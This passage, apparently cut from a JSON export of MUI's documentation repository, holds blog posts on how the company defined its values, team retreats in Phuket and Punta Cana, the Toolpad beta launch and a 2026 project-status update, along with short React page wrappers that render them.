loading=\"lazy\" />\n\nThen, using keyword and sentiment analysis, we captured clear themes in experience and common language used to describe our culture.\nI presented this back to the team via recorded video presentation, inviting reactions and further dialogue in the open of our Slack workspace.\n\n<img alt=\"A screenshot of a video message in our internal Slack revealing themes from the survey.\" src=\"/static/blog/2023-mui-values/themes-video.png\" width=\"2400\" height=\"1500\" loading=\"lazy\" />\n\n## Stage two: workshop\n\nAt the next stage, folks came together for a synchronous workshop.\n(This was completely voluntary, but I'm proud to say we had major representation from all different corners and levels of the company!)\n\nThe purpose of this workshop was to pinpoint the _most_ critical mindsets and behaviors that we felt underpinned the company's success at scale.\n\nBroadly speaking, everyone was asked to consider:\n\n1. what mindsets and behaviors we should actively preserve and encourage as we scale—these are our superpowers and biggest differentiators. They're the stuff that makes us \"us.\" 💚\n\n2. what mindsets and behaviors should we actively discourage, even punish—these are the biggest threats to our desired culture. They're the things we would never tolerate, maybe even at the cost of a customer. 🛑\n\nWe used a shared FigJam board to brainstorm together against a timer, and repeated the process for different core questions.\n\nOnce we'd generated a wonderfully full board, we took a pause to review the contributions.\nWe upvoted cards that really stood out and resonated with us as individuals.\n\nFinally, we organized all of these cards into little clusters based on relatedness, and started to identify their underlying values and themes.\n\nWe came up with a list of words that we felt best encapsulated each cluster. This became our values \"shortlist.\"\n\n<img alt=\"description\" src=\"/static/blog/2023-mui-values/figjam-board.png\" width=\"2400\" height=\"1000\" loading=\"lazy\" />\n\n## Stage three: transforming the shortlist\n\n36\\. That's how many words surfaced in our workshop as potential values—or at least, as words to inspire the copywriting process.\n\nNarrowing down the shortlist gave us a chance to both find _and_ stress-test the strongest recurring themes. 🧪\n\nTo do this, we immediately eliminated [what Patrick Lencioni calls \"permission-to-play\" values](https://www.youtube.com/watch?v=bNRn6FimzoU).\nThese are the things as basic as showing respect, which might be _valuable_ to a great team culture and performance, but aren't exactly _exciting_ or _measurable_.\nThey're simply the minimum required standard of behavior to work together.\n\nWe also started striking out anything that could not clearly be expressed _as an action._\n\nIt's [what Simon Sinek was talking about](https://www.youtube.com/watch?v=IQuYzXWXDqI) when he said \"honesty is not a value.\"\nIf there was not a clear and natural way to transform something into an action or provide examples of how it would be lived in our specific workplace, it was out. 🙅\n\nSuccess!\n\nWe narrowed the list down from 36 to _just six._\n\nNow it was time to transform these six words into actionable phrases to inspire the very actions we want to see championed on a daily basis.\n\n## Stage four: pitching the 'PACT'\n\nAll of the above and more influenced what's now referred to as our team \"pact.\" (You'll see why.)\n\nBut before we get there, I want to share a few examples of phrases that didn't wind up being a part of the pitch and why.\n\nFinding the right phraseology started with carefully reviewing _all_ team inputs.\nAs I had a unique vantage point of all those inputs, I began to jot down phrases that effectively pulled from them _all_ and led with _action verbs._ 🕸️💪\n\nThings like \"build in the open\" made an appearance, but felt too limited.\nThere was so much more we wanted to capture in the enduring theme of transparency, why it matters to us, and how we show it.\n\nOther phrases included \"own your impact\" and \"maximize flexibility,\" but these, again, felt too limited and also generic.\n\nIn short, they weren't right.\n\nFortunately, this helped us find the ones that **\\***are.**\\*** 👏\n\nI presented a video presentation to our team, pitching this set of values and providing another opportunity for feedback and shaping.\n\nYou can <a href=\"https://mui-org.notion.site/Values-behaviors-d3a1e1c60e2a4c0782f770cceada54bd#09dc19a420504a3090dc4fbe6a68a543\">watch the \"reveal\" video for yourself here</a>! 🎬👀\n\n## Stage five: revising and finalizing\n\nSince we work asynchronously at MUI, we like to leave a good window of time for peers to properly review, digest, and offer thoughtful feedback.\n\nSince we place such a high value on quality and accuracy, we didn't want to rush this process, and so we extended our deadline for delivery.\n\nAs we approached the finish line, I collaborated closely with our CEO and co-founder, Olivier. 🙋\n\nOur goal was to ensure that the final values not only reflected our team and company culture but, most importantly, that they could be integrated effectively into our company's operations and performance expectations.\n\nAnd we believe we've achieved just that! Here they come... 🥁\n\n## What are MUI's core values today?\n\nOur core four are:\n\n**P** — Put community first. \"We never lose sight of who we're serving and why.\" 💙\n\n**A** — Avoid bureaucracy. \"We're so not corporate—and we like it that way.\" 🚫\n\n**C** — Chase better. \"We're driven by an unending desire to improve.\" 🌱\n\n**T** — Trust and deliver together. \"We cultivate unity as the core of achievement.\" 🚀\n\nTo delve deeper into the meaning of each value and what it looks like in practice, you can also check out our handbook: <a href=\"https://mui-org.notion.site/Values-behaviors-d3a1e1c60e2a4c0782f770cceada54bd\">Values & Behaviors.</a>\n\nIn it, we offer concrete examples of each core value and explicitly address tensions folks may encounter in trying to live them out.\n\n<img alt=\"description\" src=\"/static/blog/2023-mui-values/notion-values-page.png\" width=\"2400\" height=\"2340\" loading=\"lazy\" />\n\n## What do they mean?\n\n### Put community first\n\nPut community first underscores our unwavering commitment to anchoring every decision in the best interests of the collective.\n\nBy \"community\", we refer to both the user base that we serve and the team that propels us forward.\n\nThe litmus test for any decision at MUI begins with a simple yet profound query: How does this contribute to our community's progress? We prioritize the needs and feedback of the community, and invest our efforts toward what will bring the greatest benefit to the greatest number of people.\n\nPutting community first means also that we consciously forge connections.\nWe recognize that deeper mutual understanding fuels collective progress.\nBy investing in relationships, we enhance collaboration, foster productive teamwork, and create a work environment that's as enjoyable as it is efficient.\n\n### Avoid bureaucracy\n\nAvoid bureaucracy is all about staying lean, open, and people-first.\nOne of the core beliefs we hold at MUI is that people are the best experts on when, where, and how they will do their best work.\n\nWe actively champion this principle by fostering an environment of unparalleled flexibility and autonomy, which serves as a bedrock for sustained excellence.\n\nOur dedication to shunning bureaucracy manifests in tangible ways—for instance, most of our communications and work are in the open.\nWe default to transparency as much as possible.\n\nWe don't over-structure, or add processes or hierarchies where they aren't needed.\nTo introduce a process, we need to clearly show how it makes things 10x better than the current approach.\n\nWe don't have lengthy approvals processes or a formalized chain of command; instead we collaborate as a tight-knit network where anyone can ask about and contribute to anything.\n\n### Chase \"better\"\n\nChase \"better\" is all about consistently improving and developing in all aspects of our work as well as raising the bar for quality.\n\nIt addresses our attitude to risk, feedback, and setbacks too.\nGenuine innovation demands a fearless embrace of the uncharted, even if it entails a touch of chaos.\n\nWe want to create the exceptional—not the \"good enough.\"\nSo we tend to prioritize quality over speed.\nThis doesn't mean we wait for things to be perfect before releasing them.\n\nOn the contrary, \"chase better\" encourages us all to make small changes and incremental improvements again and again.\n\nIt also encourages us to venture into unfamiliar territory and get out of our comfort zones in the name of growth.\n\n### Trust and deliver together\n\nTrust and deliver together is all about building trust, alignment, and shared responsibility.\n\nIt reflects our commitment to following through and working as one force to solve problems and create value.\n\nIn practice, this looks like: doing what we say we will; proactively communicating progress; adapting swiftly to changing circumstances and demands to guarantee success; and readily offering or seeking help when necessary.\n\nIt's also about strategic collaboration, and being able to recognize and enlist one another for our unique strengths toward shared goals.\n\n\"Trust and deliver together\" reflects our firm belief that together, our combined efforts are stronger and more impactful than what we can achieve individually.\n\n## How do we reinforce values across the org?\n\nArticulating company values and operationalizing them are two different things.\n\nTo ensure values don't become mere writing on the wall at MUI, we've purposefully woven them into internal processes and programs.\nWe surface them often and stay attuned to how people are perceiving and connecting to them through different initiatives. 🌠🔦\n\nFor example, before you even join MUI, you'll answer carefully chosen questions in your interviews.\nThis helps us understand how well you align with our company values and how you might contribute to enhancing them and our culture. 📝\n\nOn a day-to-day level, values show up everywhere.\nThey're referenced in discussions and deliberations related to our work.\nWe explicitly state how they directly influence our strategies and plans within our documents.\nExemplifying core values is also a condition for promotion here and therefore a topic in performance and development conversations. 🆙\n\nAs a fun way to reinforce values and show team gratitude, we've also created #Thanks-And-Praise Thursdays—a dedicated Slack channel that prompts us every Thursday to think about who we could recognize for championing core values and behaviors.\n\nOur design team even created custom illustrations and Slack emojis to make highlighting values-driven moments as simple as just a few clicks.\n(Thank you Gerda, Victor, and Danilo!) 🙏\n\n<img alt=\"Custom-designed illustrations for each MUI company value.\" src=\"/static/blog/2023-mui-values/values-illustrations.png\" width=\"2400\" height=\"1000\" loading=\"lazy\" />\n\n## When might the values change again?\n\nMUI's first values were set forth by our founders during the earliest stages of the company, with the recognition that they would evolve alongside our company's growth.\n\nThose values remain foundational to the ways we work and engage.\nIt's quite evident how these have been represented in new ways within the core four.\n\nBut we don't expect these to last forever, either.\n\nAs we continue to progress through new stages of development in the coming years, we intentionally plan to review our values and continue cultivating a values-driven culture.\n\n## Join the team\n\nDo these values resonate with you? Perhaps you'd like to be a part of shaping the future of MUI.\n\n[Visit our careers page now!](/careers/) 🏃💨\n"
  },
  {
    "path": "docs/pages/blog/2023-phuket-retreat.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './2023-phuket-retreat.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/2023-phuket-retreat.md",
    "content": "---\ntitle: Together Week lands in Phuket, Thailand\ndescription: The latest team retreat left MUIers feeling more connected and invigorated than ever. Here's how it went down.\ndate: 2023-12-13T00:00:00.000Z\nauthors: ['mikailaread']\ntags: ['Company']\nmanualCard: true\n---\n\n## What is MUI's Together Week?\n\nAt MUI, we take team connection seriously, with core values urging us to \"Put #community first.\"\nIn part, this is a reference to the user base we serve; it's also a call to foster a strong sense of belonging within our internal team.\n\nSome say driving team connectedness can be difficult against the backdrop of a distributed, async work environment.\nWe say embracing the power of remote work and flexibility will cost you neither culture nor community as long as you're _intentional_ about building both.\n\nEnter: **MUI's Together Week**.\n\nEvery 8 months, we bring MUIers from all corners of the world together to pursue many worthy outcomes at once.\n\n- 🤝 Strengthening bonds and relationships\n- 🌱 Growing as individuals and a team\n- ⚙️ Tackling important challenges\n- 💡 Sparking new ideas\n\nTogether Week invites a new level of intentionality to go after goals while offering more unique methods to achieve them.\n\n<img alt=\"The MUI team stands together at the hotel Reflections bar. A sign to the left reads: The Nai Harn.\" src=\"/static/blog/2023-phuket-retreat/whole-team-photo.jpg\" width=\"6000\" height=\"4000\" loading=\"lazy\" />\n\n## Destination\n\nIn usual MUI fashion, deciding where to go was a team effort.\nWe crowdsourced ideas, encouraging people to think about locations that would offer a high contrast to [Chamonix (where our last retreat took place)](https://mui.com/blog/2023-chamonix-retreat/).\n\nThe shortlist included places like Costa Rica, Mexico, Madagascar, and Bali—but in the end, Thailand garnered the most interest and excitement.\n\nGiven the great distance some team members would be traveling to attend, we wanted to prioritize their comfort and ability to make the most of their stay.\nFor that reason, we chose to go South and let the stunning beaches of Phuket drape the background of our time together.\n\n## Accommodation\n\nThe Nai Harn is a five-star beachfront property boasting incredible luxury balanced with a cozy feel.\n\n<img alt=\"Entrance to the Nai Harn property at night. A lit sign on a leafy backdrop reads: The Nai Harn - Phuket.\" src=\"/static/blog/2023-phuket-retreat/hotel-entrance.jpg\" width=\"2076\" height=\"1384\" loading=\"lazy\"  />\n\nA blend of Thai and international cuisines, plus free rental of kayaks, bicycles, stand-up paddle boards, and an on-site spa were just the ticket to ensure our team could be nourished and relaxed outside of scheduled working sessions and activities.\n\nSpecial callout: the on-site rental equipment was no small perk.\nWithin our agenda for the week, we baked in \"Choose your own adventure\" hours and invited folks to self-coordinate activities around common interests.\nThis is where a lot of magic happened as people organically forged new and deeper connections with one another anchored in shared experiences.\nMore on our approach to crafting a winning retreat agenda coming up next. 👀\n\n## Agenda\n\nWe follow a 30/30/30 principle when building our retreat agendas.\nThis means 30% of time is allocated to conscious team-building events; 30% is allocated to working sessions; and 30% is allocated for downtime or total team freedom.\n(You: \"Wait, what happened to the other 10%, Mikaila?\"\nIt's better to underestimate and be able to embrace more if there's time than it is to feel rushed through anything.\nWe expect disruptions that make us start late or run over in different agenda items, so we intentionally bake this bit of a grace window into it.)\n\nFor this retreat we wanted to focus on intentional conversations in a few different areas, including product vision, leadership and management, and marketing.\nTo kick things off though, everyone was invited to \"Win the Conversational Lottery.\"\nI leveraged the incredible WeConnect cards ([check out the free digital version here](https://weconnectcards.com) for your own remote team-building needs) to get people talking.\n\nEveryone picked up a card once the exercise was explained, choosing from green, purple, or blue.\nThe green cards were light and fun questions; purple, more self-reflective; and blue, a bit deeper.\nCrucially, as part of this exercise, everyone chose what color card they wanted, and could answer the questions posed however they wanted.\nAfter a brief chat, participants would trade cards and find another person they hadn't yet spoken to.\n\n<img alt=\"We Connect cards spread out on a table. Each card poses a different question.\" src=\"/static/blog/2023-phuket-retreat/we-connect-cards.jpg\" width=\"4080\" height=\"3072\" loading=\"lazy\"  />\n\nAfter the kickoff, we broke out into groups to delve deep into issues and opportunities across the organization.\n\nIt gave us a valuable space to make important decisions together in a rapid-fire way, and to build greater trust and psychological safety with one another along the way.\n\n## Transformative experiences\n\nA picture is worth a thousand words they say, so here's a whole heap of our happy faces in far off places!\n\n<img alt=\"MUI team members stand at the steps leading up to Phuket's infamous 'Big Buddha.'\" src=\"/static/blog/2023-phuket-retreat/big-buddha.jpg\" width=\"4340\" height=\"2893\" loading=\"lazy\"  />\n\n<img alt=\"MUI team members enjoy a private catamaran trip. A rainbow appears over the team's boat.\" src=\"/static/blog/2023-phuket-retreat/rainbow-boat.jpg\" width=\"4080\" height=\"3072\" loading=\"lazy\"  />\n\n<img alt=\"MUI team members seated for a team lunch on the Nai Harn's Cosmo dining hall terrace.\" src=\"/static/blog/2023-phuket-retreat/lunch-service.jpg\" width=\"4032\" height=\"3024\" loading=\"lazy\"  />\n\n<img alt=\"Bharat & Raffaella enjoy the views from the top of a lookout point.\" src=\"/static/blog/2023-phuket-retreat/bharat-raffaella.jpg\" width=\"6000\" height=\"4000\" loading=\"lazy\"  />\n\n<img alt=\"Andrew, Lukas, & Jose enjoy the views from the top of a lookout point.\" src=\"/static/blog/2023-phuket-retreat/andrii-lukas-jose.jpg\" width=\"6000\" height=\"4000\" loading=\"lazy\"  />\n\n## Outcomes\n\nIn experience surveys, all respondents rated this Together Week five stars out of five. (What a win!)\n\nIt's worth highlighting some of the glowing feedback received, to illustrate why we invest in these types of gatherings:\n\n> I want to share how impactful the retreat was for my sense of belonging.\n> This marks a before and after in my time at MUI.\n> I really appreciate everyone who worked on making it possible, so thank you so much.\n\n> Everyone I talked to told me this was the best retreat they'd been on - that it was super well-organized, that the accommodation was incredible and it made a huge difference how luxe it was, that the excursions (particularly the boat) were the best yet.\n> I think it's a real testament to the work and thoughtfulness that went in to planning every detail, from airport transfers to snacks, swag, sessions, EVERYTHING.\n> So just a huge thank you for not only pulling this off but executing it to such a high standard.\n\n> Honestly, the bonding through cards and games was so important and made me feel much more a part of the team.\n> I feel like on this trip the people I work with became true friends and I expect this is going to have a big effect on how we work together.\n\n(You're dang right it is—there's plenty of research to back up [the power of work friends](https://hbr.org/2022/10/the-power-of-work-friends)).\n\n<img alt=\"Tina, Raffaella, and Mikaila enjoy a catered coffee break on the terrace between work sessions.\" src=\"/static/blog/2023-phuket-retreat/tina-raffaella-mikaila.jpg\" width=\"2245\" height=\"1587\" loading=\"lazy\" />\n\nReflecting on the whole team experience, many MUIers shared heartfelt messages of thanks and gratitude in our Slack workspace and their own social media channels.\nOne thing is clear from the entire trip: we simply can't wait to be together again.\n\n## Will you join us for the next Together Week?\n\nIf you're seeking a workplace where community, innovation, and teamwork truly take priority, you belong at MUI.\n\nWe're not just shaping the future of developer tools; we're cultivating a forward-thinking, community-driven, remote-first culture that promises the freedom to build your dream work-life.\n\nSounds compelling? Apply now and be part of something extraordinary!\n\nVisit [our Careers page](/careers/) 👈\n\n<img alt=\"MUIers lined up at Banana Beach, enjoying the sand, scenery, and soft drinks.\" src=\"/static/blog/2023-phuket-retreat/banana-beach.jpg\" width=\"1200\" height=\"840\" loading=\"lazy\" />\n"
  },
  {
    "path": "docs/pages/blog/2023-toolpad-beta-announcement.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './2023-toolpad-beta-announcement.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/2023-toolpad-beta-announcement.md",
    "content": "---\ntitle: \"Introducing Toolpad: MUI's low-code admin builder\"\ndescription: Assemble admin panels and internal tools faster than ever before with Toolpad—now in beta.\ndate: 2023-07-24T00:00:00.000Z\nauthors: ['prakhargupta']\nmanualCard: true\ntags: ['Product', 'Toolpad']\n---\n\nIt's been over a year since we released the first version of Toolpad. Today, we're excited to take the next step on that journey with the release of Toolpad Beta. If you aren't familiar with Toolpad yet, it's an admin panel builder catering to the internal tooling needs of an organization, designed for developers who want to build a functional application quickly. It harnesses the speed of a UI builder for the front end and closely integrates into your back end. If this excites you, then read on!\n\n<a href=\"https://mui.com/toolpad/studio/examples/basic-crud-app/\">\n  <img alt=\"Introducing Toolpad\" src=\"/static/blog/2023-toolpad-beta-announcement/intro.png\" width=\"2400\" height=\"1200\" />\n</a>\n\n## Why did we decide to build Toolpad?\n\nToolpad was created to meet the needs of the Material UI community. As a result of the surveys we conducted, and the market research we undertook, we decided to develop an internal tool builder because the idea resonates with MUI's mission of empowering developers to build apps faster and more efficiently.\n\nInternal tools are software applications that are developed and used within an organization itself. They can automate tasks, manage data, and help foster collaboration. Internal tools are a valuable asset for businesses of all sizes, as they help to improve efficiency, productivity, and communication.\n\nWe've all had our fair share of wrestling with lousy internal tools that we hoped we'd never have to use more than once. A sub-optimal tool means a waste of time and effort for everyone. Maintaining them distracts developers from solving actual business problems. In recent years, customer-facing software has moved quickly and is now flashy and sleek. It's time for internal tools to get this same upgrade.\n\n## What is Toolpad exactly?\n\nToolpad is an open-source, low-code, drag-and-drop admin builder. The primary purpose of Toolpad is to create data-intensive React apps faster. Toolpad simplifies building UI, writing back-end logic, connecting to a data source, querying and mutating data. It can quickly convert an API, script, or SQL query into a web UI.\n\nToolpad is not ideal for building static web pages, mobile apps, or customer-facing custom-designed front-ends. It's for building admin applications, CRUD interfaces, custom internal tools, and analytics dashboards.\n\n<a href=\"https://mui.com/toolpad/studio/examples/npm-stats/\">\n  <img alt=\"Building an application on Toolpad\" src=\"/static/blog/2023-toolpad-beta-announcement/toolpad.png\" loading=\"lazy\" width=\"2400\" height=\"1394\"  />\n</a>\n\n## Who is Toolpad for?\n\nBefore the arrival of Toolpad, the MUI organization primarily catered to the front-end needs of the development process. Our products were mostly useful for React engineers or designers, but we saw many full-stack engineers use our advanced components for data-intensive apps. These highly customizable components are well-suited for complex apps, but not all apps require the same level of customization: for example, internal tools just need basic theming.\n\n<img alt=\"Toolpad personas\" src=\"/static/blog/2023-toolpad-beta-announcement/personas.png\" loading=\"lazy\" width=\"2400\" height=\"1394\" />\n\nToolpad is for you if you're a full-stack or back-end developer who builds, manages, and integrates data pipelines, server-side logic, databases, microservices, and APIs—and knows the most about them. Sharing these endpoints with and maintaining the internal documentation for the front-end teams is a hassle that lasts forever. Toolpad empowers you to take the next step and build the UI you need using our drag-and-drop editor, without losing any part of your normal development workflow.\n\n## What are the main features available today?\n\n### 1. Drag-and-drop UI builder\n\nEasily create user interfaces by dragging and dropping pre-built components onto the canvas. Utilize constraints to speed up the building process.\n\n<a href=\"https://mui.com/toolpad/studio/examples/basic-crud-app/\">\n  <img alt=\"Dragging components to the canvas\" src=\"/static/blog/2023-toolpad-beta-announcement/drag.png\" loading=\"lazy\" width=\"2400\" height=\"1394\" />\n</a>\n\n### 2. Query builder UI\n\nA Postman-like query builder allows you to integrate any REST API quickly. A binding editor, which supports JavaScript, allows you to wire query responses directly to the components.\n\n<a href=\"https://mui.com/toolpad/studio/examples/npm-stats/\">\n  <img alt=\"Building an application on Toolpad\" src=\"/static/blog/2023-toolpad-beta-announcement/uiquery.png\" loading=\"lazy\" width=\"2400\" height=\"1394\" />\n</a>\n\n### 3. Bring your own components\n\nToolpad can import [external React components](https://mui.com/toolpad/studio/concepts/custom-components/), ready to be used in its visual designer. Your past effort shouldn't go to waste and you shouldn't be limited by the stock component suite.\n\n### 4. Bring your own back-end\n\nDirectly integrate with your Node.js back-end and have your data available on the page without writing any REST endpoints or fetch logic. Need that prisma model on the page? Expose it through a serverless function and Toolpad does the rest.\n\n### 5. Own your code\n\nToolpad runs completely locally. You're not stuck with an online code editor or a suboptimal GitHub integration. All configuration is stored in local files which you can version-control, edit, and deploy in any way you want.\n\n<a href=\"https://mui.com/toolpad/studio/examples/basic-crud-app/\">\n  <img alt=\"Building an application on Toolpad\" src=\"/static/blog/2023-toolpad-beta-announcement/code.png\" loading=\"lazy\" width=\"2400\" height=\"1394\" />\n</a>\n\n### 6. A catalog of components powered by Material UI\n\nMaterial UI provides production-ready React components; a chosen few are currently available inside Toolpad, and we're adding more all the time.\n\n<a href=\"https://mui.com/toolpad/studio/examples/npm-stats/\">\n  <img alt=\"Building an application on Toolpad\" src=\"/static/blog/2023-toolpad-beta-announcement/library.png\" loading=\"lazy\" width=\"2400\" height=\"1394\" />\n</a>\n\n## How is Toolpad different from similar products on the market?\n\nIn this domain, there are two categories of products:\n\n1. **Visual first**: Retool, Appsmith, Budibase and the like. While these are great tools, they don't integrate with the developer's local IDE nor offer a good git version control mechanism. Providing features that could have been hand-coded on a need basis makes the application heavy, and reports of slowness at runtime are common.\n\n2. **Code first**: Airplane.dev, Interval and others. They also allow building internal tools but don't support a drag-and-drop UI builder.\n   The components must be coded using their APIs, which comes with some learning curve.\n\nToolpad is solely focused on professional developers. As much as we are low-code, we are equally code-friendly. Providing the basic functionality that you expect from an open-source tool is non-negotiable for us—we will always prioritize your best interests over all else.\nWith nearly a decade of experience building developer tools, we understand the long-term benefits of cultivating a close relationship with our community of users.\n\nLastly, Toolpad is the only product that offers a drag-and-drop UI builder closely integrated with your favorite IDE, such as VS Code. It's the best of both worlds!\n\n## How can I use Toolpad?\n\nToolpad is available as an npm package. Follow the [Installation guide](https://mui.com/toolpad/studio/getting-started/installation/) in the docs to get started.\nYou can learn more about Toolpad by visiting the [home page](https://mui.com/toolpad/studio/).\n\n<img alt=\"Toolpad documentation and instructions on how to use it\" src=\"/static/blog/2023-toolpad-beta-announcement/docs.png\" loading=\"lazy\" width=\"2400\" height=\"1394\" />\n\n## What's next?\n\nWe plan to continue to iterate on our vision of helping you as a developer to increase the speed and efficiency of your workflow. We want to optimize for the biggest pains that you face when building admin apps.\nYour input is crucial to helping us shape the roadmap from here.\n\nThe best places to stay up-to-date about what the team is currently working on are [GitHub issues](https://github.com/mui/toolpad) and the [public roadmap](https://github.com/orgs/mui/projects/9/views/1).\n\nIf you have any questions or would like to share feedback, you can directly contact the team at toolpad@mui.com or reach us on [X/Twitter](https://x.com/MUI_Toolpad).\n\nIf you'd like an in-depth demo to discuss your use case, please feel free to [schedule a meeting with me on Calendly](https://calendly.com/prakhar-mui).\n"
  },
  {
    "path": "docs/pages/blog/2025-punta-cana-retreat.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './2025-punta-cana-retreat.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/2025-punta-cana-retreat.md",
    "content": "---\ntitle: 'Together Week lands in Punta Cana, Dominican Republic'\ndescription: 'Find out how our globally-distributed team connects beyond GitHub and Slack—and how you can join us next time.'\ndate: 2025-09-18T00:00:00.000Z\nauthors: ['nadjakovacev']\ntags: ['Company']\nmanualCard: false\n---\n\n## What is MUI's Together Week?\n\nAt MUI, a strong community is non-negotiable, just like flexibility and remote work.\nOur commitment to these values means our MUIers are spread across the globe, and we know that building connections can be a challenge in a fully distributed, async environment.\n\n[Multiple studies have shown](https://www.researchgate.net/publication/387604757_Providing_support_for_employee_autonomy_relatedness_and_competence_in_a_remote_work_environment) that working remotely can lower the satisfaction of basic psychological needs like autonomy, relatedness, and competence.\nBut we don't see this as an unsolvable problem: We choose to use this data to help us intentionally cultivate a stronger company culture. To that end, we hold Together Weeks every eight months.\n\nOur aim for these events is to always:\n\n- 🤝 Strengthen bonds and relationships\n- 🌱 Grow as individuals and as a team\n- ⚙️ Tackle important challenges\n- 💡 Spark new ideas\n\nThis might sound like a lot to expect from a five-day trip, but it's during this time that we hit pause on the daily grind and get to focus on these goals, all while sharing a whole lot of good vibes.\n\n<img alt=\"The MUI team poses together in matching dark blue t-shirts on a white sand beach with the ocean in the background.\" src=\"/static/blog/2024-punta-cana-retreat/dr-mui-team.jpg\" width=\"2405\" height=\"1603\" loading=\"lazy\"  />\n\n## Destination\n\nWe love the process we've developed where everyone pitches their wildest ideas for amazing locations we could visit—I'm personally a huge fan of this approach.\nFor this retreat, however, we had a slightly different flow due to time restraints.\nSo we followed our shortlist of must-haves like good weather, easy airport connections, and great vibes.\nFrom there, we shared a list of four locations for the team to vote on: Morocco, Mexico, Cape Verde, and the Dominican Republic.\n\nFrom that list, it was a very democratic process, and Punta Cana emerged as the clear favorite.\nJust five days after the voting started, we were booking flights and getting ready to trade our computer screens for white sand beaches.\nAlright, maybe we didn't really trade in our computers—good luck getting engineers to put down their laptops—but at least their screens soaked up some Caribbean sunlight, too.\n\n## Accommodation\n\n[Zel Punta Cana](https://www.melia.com/en/hotels/dominican-republic/punta-cana/zel-punta-cana) was our home for the week this time around, and it was the perfect combination of luxurious and chill.\nWith private pools, beach access via golf carts, and a blend of global cuisines, it was the ideal spot for our team to recharge and relax.\n\n<img alt=\"Exterior of Zel, a white building with a thatched roof surrounded by palm trees.\" src=\"/static/blog/2024-punta-cana-retreat/dr-zel.jpg\" width=\"2405\" height=\"1603\" loading=\"lazy\"  />\n\nWe were intentional with our activities, baking in plenty of time for rest, organic connection, and just hanging out.\nThis led to some incredibly spirited (and very amateur) football matches on the beach.\n\n<img alt=\"A man with short dark hair and a blue t-shirt prepares to kick a football on a white sand beach.\" src=\"/static/blog/2024-punta-cana-retreat/dr-football.jpg\" width=\"2405\" height=\"1603\" loading=\"lazy\"  />\n\n## Agenda\n\nWe always use our 30/30/30 principle when building our retreat agendas:\nThis means 30% for dedicated working sessions, 30% for conscious team-building, and 30% for pure downtime.\n\nAnd the remaining 10%?\nAh yes, that's the intentional buffer that allows us to be human.\nIt gives us room to start a little late or run a little over without feeling rushed, and we embrace it.\nThis time it gave some of us enough time to attend cocoa bean workshops at the resort 🤓 while others opted for some well-deserved relaxation by the pool and beach.\n\n<img alt=\"A tabletop with an ornate zig-zag tablecloth with an assortment of cacao in various stages of being processed.\" src=\"/static/blog/2024-punta-cana-retreat/dr-cacao.jpg\" width=\"2405\" height=\"1603\" loading=\"lazy\"  />\n\n## Group pics\n\nCheck out all these photos of the team's happy faces living it up in the DR!\n\n<img alt=\"The MUI team sits around a large rectangular table for dinner.\" src=\"/static/blog/2024-punta-cana-retreat/dr-dinner-1.jpg\" width=\"2405\" height=\"1603\" loading=\"lazy\"  />\n<img alt=\"Another angle of the MUI team sitting around a large rectangular table for dinner.\" src=\"/static/blog/2024-punta-cana-retreat/dr-dinner-2.jpg\" width=\"2405\" height=\"1603\" loading=\"lazy\"  />\n<img alt=\"Nine members of the team stand in a circle in a cozy lounge space, smiling and posing.\" src=\"/static/blog/2024-punta-cana-retreat/dr-hangout.jpg\" width=\"2405\" height=\"1603\" loading=\"lazy\"  />\n\n## Outcomes\n\nNot to brag, but… In our post-retreat experience surveys, all respondents rated the week five stars out of five.\nI'll go ahead and use this opportunity to also highlight some of the feedback we got to show why we invest in these get-togethers:\n\n> For me personally, this has been the greatest retreat so far. The boat party activity was great, and we also had plenty of time for bonding.\n\n> Such an impressive hotel and location. Beautiful and super fun all-team activity.\n\n> This retreat was perfect, in terms of location, activities, and work schedule. This has been the retreat with the best balance between free and structured time. People managed to get some spontaneous activities like spa, tennis lessons, volleyball, football, and more.\n\n## Will you join us for the next Together Week?\n\nWhat excites me the most about our future retreats is that we'll get to have them with even more people, as we're actively hiring.\n\nIf you're looking for a workplace where community, innovation, and teamwork take priority, you belong at MUI.\n\nHope to see you at our next retreat!\n\nVisit [our Careers page](https://mui.com/careers/) 👈 to learn more.\n"
  },
  {
    "path": "docs/pages/blog/2026-and-beyond.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './2026-and-beyond.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/2026-and-beyond.md",
    "content": "---\ntitle: \"MUI Update: What we've been working on (and why)\"\ndescription: An update on active projects, maintenance, and our focus areas in 2026.\ndate: 2026-01-01T08:00:00.000Z\nauthors: ['alelthomas']\ntags: ['Product']\nmanualCard: false\n---\n\n<img width=\"692\" height=\"297\" alt=\"Blog banner: what we've been building at MUI\" src=\"https://github.com/user-attachments/assets/6a3510a3-9915-4eaf-b485-fd9b69d5b68f\" />\n\nOver the last few months, we've seen more questions from the community about the status of different MUI projects and what we're focusing on.\nWe'd like to provide clarity on what we're actively investing in today, what we're maintaining, and what's currently on hold.\n\n## Table of contents\n\n- [Where our focus is in 2026](#where-our-focus-is-in-2026)\n  - [Material UI](#material-ui)\n  - [Base UI](#base-ui)\n  - [MUI X](#mui-x)\n- [Projects currently on hold or in limited maintenace](#projects-currently-on-hold-or-in-limited-maintenance)\n  - [Pigment CSS](#pigment-css)\n  - [Joy UI](#joy-ui)\n  - [Toolpad](#toolpad)\n  - [MUI Sync](#mui-sync)\n- [How we're improving communication going forward](#how-were-improving-communication-going-forward)\n\n## Where our focus is in 2026\n\n### Material UI\n\n<img width=\"692\" height=\"390\" loading=\"lazy\" alt=\"NumberField component is now available.\" src=\"https://github.com/user-attachments/assets/ca08c54f-ca30-4c34-8688-32617660144e\" />\n\nMaterial UI continues to be a core focus for us.\n\nWe're currently maintaining the library and continuing to ship new components and improvements.\nMost recently, we released [NumberField](https://mui.com/material-ui/react-number-field/) (one of our most requested components), designed to fully integrate with Base UI primitives.\n\nWe're working on additional components built on top of Base UI, with examples like MenuBar and PreviewCard that are 